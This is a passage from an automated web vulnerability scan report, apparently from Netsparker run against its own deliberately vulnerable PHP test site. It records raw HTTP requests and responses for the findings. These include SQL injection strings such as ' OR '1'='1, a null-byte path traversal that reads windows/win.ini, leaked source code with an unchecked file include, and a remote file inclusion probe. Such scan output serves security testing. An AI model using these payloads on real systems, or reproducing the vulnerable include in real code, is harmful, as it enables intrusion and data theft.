<td>DEGENERES </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>108 </td>
<td>WARREN </td>
<td>NOLTE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>109 </td>
<td>SYLVESTER </td>
<td>DERN </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>110 </td>
<td>SUSAN </td>
<td>DAVIS </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>111 </td>
<td>CAMERON </td>
<td>ZELLWEGER </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>112 </td>
<td>RUSSELL </td>
<td>BACALL </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>113 </td>
<td>MORGAN </td>
<td>HOPKINS </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>114 </td>
<td>MORGAN </td>
<td>MCDORMAND </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>115 </td>
<td>HARRISON </td>
<td>BALE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>116 </td>
<td>DAN </td>
<td>STREEP </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>117 </td>
<td>RENEE </td>
<td>TRACY </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>118 </td>
<td>CUBA </td>
<td>ALLEN </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>119 </td>
<td>WARREN </td>
<td>JACKMAN </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>120 </td>
<td>PENELOPE </td>
<td>MONROE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>121 </td>
<td>LIZA </td>
<td>BERGMAN </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>122 </td>
<td>SALMA </td>
<td>NOLTE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>123 </td>
<td>JULIANNE </td>
<td>DENCH </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>124 </td>
<td>SCARLETT </td>
<td>BENING </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>125 </td>
<td>ALBERT </td>
<td>NOLTE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>126 </td>
<td>FRANCES </td>
<td>TOMEI </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>127 </td>
<td>KEVIN </td>
<td>GARLAND </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>128 </td>
<td>CATE </td>
<td>MCQUEEN </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>129 </td>
<td>DARYL </td>
<td>CRAWFORD </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>130 </td>
<td>GRETA </td>
<td>KEITEL </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>131 </td>
<td>JANE </td>
<td>JACKMAN </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>132 </td>
<td>ADAM </td>
<td>HOPPER </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>133 </td>
<td>RICHARD </td>
<td>PENN </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>134 </td>
<td>GENE </td>
<td>HOPKINS </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>135 </td>
<td>RITA </td>
<td>REYNOLDS </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>136 </td>
<td>ED </td>
<td>MANSFIELD </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>137 </td>
<td>MORGAN </td>
<td>WILLIAMS </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>138 </td>
<td>LUCILLE </td>
<td>DEE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>139 </td>
<td>EWAN </td>
<td>GOODING </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>140 </td>
<td>WHOOPI </td>
<td>HURT </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>141 </td>
<td>CATE </td>
<td>HARRIS </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>142 </td>
<td>JADA </td>
<td>RYDER </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>143 </td>
<td>RIVER </td>
<td>DEAN </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>144 </td>
<td>ANGELA </td>
<td>WITHERSPOON </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>145 </td>
<td>KIM </td>
<td>ALLEN </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>146 </td>
<td>ALBERT </td>
<td>JOHANSSON </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>147 </td>
<td>FAY </td>
<td>WINSLET </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>148 </td>
<td>EMILY </td>
<td>DEE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>149 </td>
<td>RUSSELL </td>
<td>TEMPLE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>150 </td>
<td>JAYNE </td>
<td>NOLTE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>151 </td>
<td>GEOFFREY </td>
<td>HESTON </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>152 </td>
<td>BEN </td>
<td>HARRIS </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>153 </td>
<td>MINNIE </td>
<td>KILMER </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>154 </td>
<td>MERYL </td>
<td>GIBSON </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>155 </td>
<td>IAN </td>
<td>TANDY </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>156 </td>
<td>FAY </td>
<td>WOOD </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>157 </td>
<td>GRETA </td>
<td>MALDEN </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>158 </td>
<td>VIVIEN </td>
<td>BASINGER </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>159 </td>
<td>LAURA </td>
<td>BRODY </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>160 </td>
<td>CHRIS </td>
<td>DEPP </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>161 </td>
<td>HARVEY </td>
<td>HOPE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>162 </td>
<td>OPRAH </td>
<td>KILMER </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>163 </td>
<td>CHRISTOPHER </td>
<td>WEST </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>164 </td>
<td>HUMPHREY </td>
<td>WILLIS </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>165 </td>
<td>AL </td>
<td>GARLAND </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>166 </td>
<td>NICK </td>
<td>DEGENERES </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>167 </td>
<td>LAURENCE </td>
<td>BULLOCK </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>168 </td>
<td>WILL </td>
<td>WILSON </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>169 </td>
<td>KENNETH </td>
<td>HOFFMAN </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>170 </td>
<td>MENA </td>
<td>HOPPER </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>171 </td>
<td>OLYMPIA </td>
<td>PFEIFFER </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>172 </td>
<td>GROUCHO </td>
<td>WILLIAMS </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>173 </td>
<td>ALAN </td>
<td>DREYFUSS </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>174 </td>
<td>MICHAEL </td>
<td>BENING </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>175 </td>
<td>WILLIAM </td>
<td>HACKMAN </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>176 </td>
<td>JON </td>
<td>CHASE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>177 </td>
<td>GENE </td>
<td>MCKELLEN </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>178 </td>
<td>LISA </td>
<td>MONROE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>179 </td>
<td>ED </td>
<td>GUINESS </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>180 </td>
<td>JEFF </td>
<td>SILVERSTONE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>181 </td>
<td>MATTHEW </td>
<td>CARREY </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>182 </td>
<td>DEBBIE </td>
<td>AKROYD </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>183 </td>
<td>RUSSELL </td>
<td>CLOSE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>184 </td>
<td>HUMPHREY </td>
<td>GARLAND </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>185 </td>
<td>MICHAEL </td>
<td>BOLGER </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>186 </td>
<td>JULIA </td>
<td>ZELLWEGER </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>187 </td>
<td>RENEE </td>
<td>BALL </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>188 </td>
<td>ROCK </td>
<td>DUKAKIS </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>189 </td>
<td>CUBA </td>
<td>BIRCH </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>190 </td>
<td>AUDREY </td>
<td>BAILEY </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>191 </td>
<td>GREGORY </td>
<td>GOODING </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>192 </td>
<td>JOHN </td>
<td>SUVARI </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>193 </td>
<td>BURT </td>
<td>TEMPLE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>194 </td>
<td>MERYL </td>
<td>ALLEN </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>195 </td>
<td>JAYNE </td>
<td>SILVERSTONE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>196 </td>
<td>BELA </td>
<td>WALKEN </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>197 </td>
<td>REESE </td>
<td>WEST </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>198 </td>
<td>MARY </td>
<td>KEITEL </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>199 </td>
<td>JULIA </td>
<td>FAWCETT </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>200 </td>
<td>THORA </td>
<td>TEMPLE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>411 </td>
<td>hasan </td>
<td>test </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>412 </td>
<td>-1 OR 1=1 </td>
<td>test </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>413 </td>
<td>-1 OR 1=1 </td>
<td>test </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>414 </td>
<td>NS1NO </td>
<td>test </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>415 </td>
<td>1 AND 'NS='ss </td>
<td>test </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>416 </td>
<td>' OR 'ns'='ns </td>
<td>test </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>417 </td>
<td>-1 OR 17-7=10 </td>
<td>test </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>418 </td>
<td>1 OR X='ss </td>
<td>test </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>419 </td>
<td>' OR '1'='1 </td>
<td>test </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>420 </td>
<td>' OR '1'='1 </td>
<td>test </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
</tbody></table>                    </p>

				</div>
			</div>
		<div style="clear: both;">&nbsp;</div>
		</div>
		<!-- end #content -->
	        
	<div id="sidebar">
			<ul>
				<li>
					<div id="search" >
						<form method="get" action="artist.php">
							<div>
								<input type="text" name="s" id="search-text" value="" />
								<input type="submit" id="search-submit" value="GO" />
							</div>
						</form>
				
					</div>
					<div style="clear: both;">&nbsp;</div>
				</li>
				<li>
					<h2>Tags</h2>
					<p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
				</li>
				<li>
					<h2>Inner Pages</h2>
					<ul>
						<li><a href="artist.php?id=test">Artist Search</a></li>
						<li><a href="nslookup.php">Lookup Service</a></li>
					</ul>
				</li>
				<li>
					<h2>Links</h2>
					<ul>
						<li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
						<li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
					</ul>
				</li>
			</ul>
		</div>		<!-- end #sidebar -->
		<div style="clear: both;">&nbsp;</div>
	</div>
	</div>
	</div>
	<!-- end #page -->
</div>

<div id="footer">
		<p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
	</div>	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
				</extrainformation>

					<classification>
						<OWASP>A6</OWASP>
						<WASC>14</WASC>
						<CWE>267</CWE>
						<CAPEC></CAPEC>
						<PCI></PCI>
						<PCI2>6.5.6</PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="False">
				<url>http://php.testsparker.com/process.bak</url>
				<type>BackupSourceCodeFound</type>
				<severity>Important</severity>
				<certainty>95</certainty>
		
				<rawrequest><![CDATA[GET /process.bak HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.bak
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:26:28 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
ETag: "30000000199eb-363-481496ef4391c"
Accept-Ranges: bytes
Content-Length: 867
Content-Type: text/plain
Last-Modified: Mon, 08 Mar 2010 12:45:00 GMT

<?php
require("auth.php");
ini_set("display_errors","0");

//global configuration area
$globals["title"] = "Netsparker Test Web Site -  PHP";
function EndsWith($FullStr, $EndStr)
{
    // Get the length of the end string
    $StrLen = strlen($EndStr);
    // Look at the end of FullStr for the substring the size of EndStr
    $FullStrEnd = substr($FullStr, strlen($FullStr) - $StrLen);
    // If it matches, it does end with EndStr
    return $FullStrEnd == $EndStr;
}
?>

<?php include "Internals/header.php"?>
<body>
<div id="wrapper">
        <?php include "Internals/upmenu.php"?>
	    <?php
            $file = $_REQUEST["file"];
            if(EndsWith($file,".nsp"))
                include $_REQUEST["file"];
        ?>
	<!-- end #page -->
</div>

<?php include "Internals/footer.php"?>
	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
				</extrainformation>

					<classification>
						<OWASP>A8</OWASP>
						<WASC>34</WASC>
						<CWE>530</CWE>
						<CAPEC>87</CAPEC>
						<PCI>6.5.10</PCI>
						<PCI2>6.5.8</PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="True">
				<url>http://php.testsparker.com/process.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00.nsp</url>
				<type>Lfi</type>
				<severity>Important</severity>
				<certainty>100</certainty>
		
					<vulnerableparametertype>GET</vulnerableparametertype>
					<vulnerableparameter>file</vulnerableparameter>
					<vulnerableparametervalue>../../../../../../../../../../windows/win.ini&#xFF;.nsp</vulnerableparametervalue>
				<rawrequest><![CDATA[GET /process.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00.nsp HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:27:01 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 1412
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site -  PHP</title>
<link href="style.css" rel="stylesheet" type="text/css" media="screen" />
</head><body>
<div id="wrapper">
        
	<div id="menu">
		<ul>
			<li><a href="process.php?file=Generics/index.nsp">Home</a></li>
			<li><a href="hello.php?name=Visitor">Hello</a></li>
			<li><a href="products.php?pro=url">Products</a></li>
			<li><a href="process.php?file=Generics/about.nsp">About</a></li>
			<li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
			<li><a href="auth/">Login</a></li>
		</ul>
	</div>
	<!-- end #menu -->
	<div id="header">

	</div>
	<!-- end #header -->	    ; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
	<!-- process.php load pages from path of the website. -->
	<!-- FIXME: File / directory permissions -->
	<!-- end #page -->
</div>

<div id="footer">
		<p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
	</div>	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
				</extrainformation>

					<classification>
						<OWASP>A4</OWASP>
						<WASC>33</WASC>
						<CWE>98</CWE>
						<CAPEC>251</CAPEC>
						<PCI>6.5.4</PCI>
						<PCI2>6.5.1</PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="False">
				<url>http://php.testsparker.com/.svn/all-wcprops</url>
				<type>SvnDisclosure</type>
				<severity>Important</severity>
				<certainty>100</certainty>
		
				<rawrequest><![CDATA[GET /.svn/all-wcprops HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/.svn/all-wcprops
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:25:37 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
ETag: "131000000013a0b-46e-480329f1c6140"
Accept-Ranges: bytes
Content-Length: 1134
Content-Type: text/plain
Last-Modified: Mon, 22 Feb 2010 16:06:53 GMT

K 25
svn:wc:ra_dav:version-url
V 53
/svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP
END
nslookup.php
K 25
svn:wc:ra_dav:version-url
V 66
/svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/nslookup.php
END
page.php
K 25
svn:wc:ra_dav:version-url
V 62
/svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/page.php
END
process.php
K 25
svn:wc:ra_dav:version-url
V 65
/svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/process.php
END
style.css
K 25
svn:wc:ra_dav:version-url
V 63
/svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/style.css
END
hello.php
K 25
svn:wc:ra_dav:version-url
V 63
/svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/hello.php
END
products.php
K 25
svn:wc:ra_dav:version-url
V 66
/svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/products.php
END
conf.php
K 25
svn:wc:ra_dav:version-url
V 62
/svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/conf.php
END
artist.php
K 25
svn:wc:ra_dav:version-url
V 64
/svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/artist.php
END
index.php
K 25
svn:wc:ra_dav:version-url
V 63
/svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/index.php
END
]]></rawresponse>
				<extrainformation>
				</extrainformation>

					<classification>
						<OWASP>A6</OWASP>
						<WASC>13</WASC>
						<CWE>527</CWE>
						<CAPEC>118</CAPEC>
						<PCI>6.5.6</PCI>
						<PCI2></PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="False">
				<url>http://php.testsparker.com/process.php?file=http%3a%2f%2fnetsparker.com%2fn%3f%00.nsp</url>
				<type>XssViaRfi</type>
				<severity>Important</severity>
				<certainty>95</certainty>
		
					<vulnerableparametertype>GET</vulnerableparametertype>
					<vulnerableparameter>file</vulnerableparameter>
					<vulnerableparametervalue>http://netsparker.com/n?&#xFF;.nsp</vulnerableparametervalue>
				<rawrequest><![CDATA[GET /process.php?file=http%3a%2f%2fnetsparker.com%2fn%3f%00.nsp HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:27:03 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 1615
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site -  PHP</title>
<link href="style.css" rel="stylesheet" type="text/css" media="screen" />
</head><body>
<div id="wrapper">
        
	<div id="menu">
		<ul>
			<li><a href="process.php?file=Generics/index.nsp">Home</a></li>
			<li><a href="hello.php?name=Visitor">Hello</a></li>
			<li><a href="products.php?pro=url">Products</a></li>
			<li><a href="process.php?file=Generics/about.nsp">About</a></li>
			<li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
			<li><a href="auth/">Login</a></li>
		</ul>
	</div>
	<!-- end #menu -->
	<div id="header">

	</div>
	<!-- end #header -->	    NETSPARKER_F0M1-44353702950-<%=chr(78) + chr(69) + chr(84) + chr(83) + chr(80) + chr(65) + chr(82) + chr(75) + chr(69) + chr(82) + chr(95) + chr(70) + chr(48) + chr(77) + chr(49) %>
<%=chr(45) & (44353702950+(Cint(Request("nsxint"))*4567)) & chr(45) %>
<script>netsparkerRFI(0x066666)</script>	<!-- process.php load pages from path of the website. -->
	<!-- FIXME: File / directory permissions -->
	<!-- end #page -->
</div>

<div id="footer">
		<p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
	</div>	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
				</extrainformation>

					<classification>
						<OWASP>A2</OWASP>
						<WASC>08</WASC>
						<CWE>79</CWE>
						<CAPEC>19</CAPEC>
						<PCI>6.5.1</PCI>
						<PCI2>6.5.7</PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="False">
				<url>http://php.testsparker.com/auth/login.php</url>
				<type>CsrfInLoginFormDetected</type>
				<severity>Important</severity>
				<certainty>90</certainty>
		
				<rawrequest><![CDATA[GET /auth/login.php HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/auth/
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Date: Fri, 29 Nov 2013 11:26:26 GMT
Pragma: no-cache
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Set-Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056; path=/
Content-Length: 3108
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site -  PHP</title>
<link href="style.css" rel="stylesheet" type="text/css" media="screen" />
</head><body>
<div id="wrapper">
        
	<div id="menu">
		<ul>
			<li><a href="../process.php?file=Generics/index.nsp">Home</a></li>
			<li><a href="../hello.php?name=Visitor">Hello</a></li>
			<li><a href="../products.php?pro=url">Products</a></li>
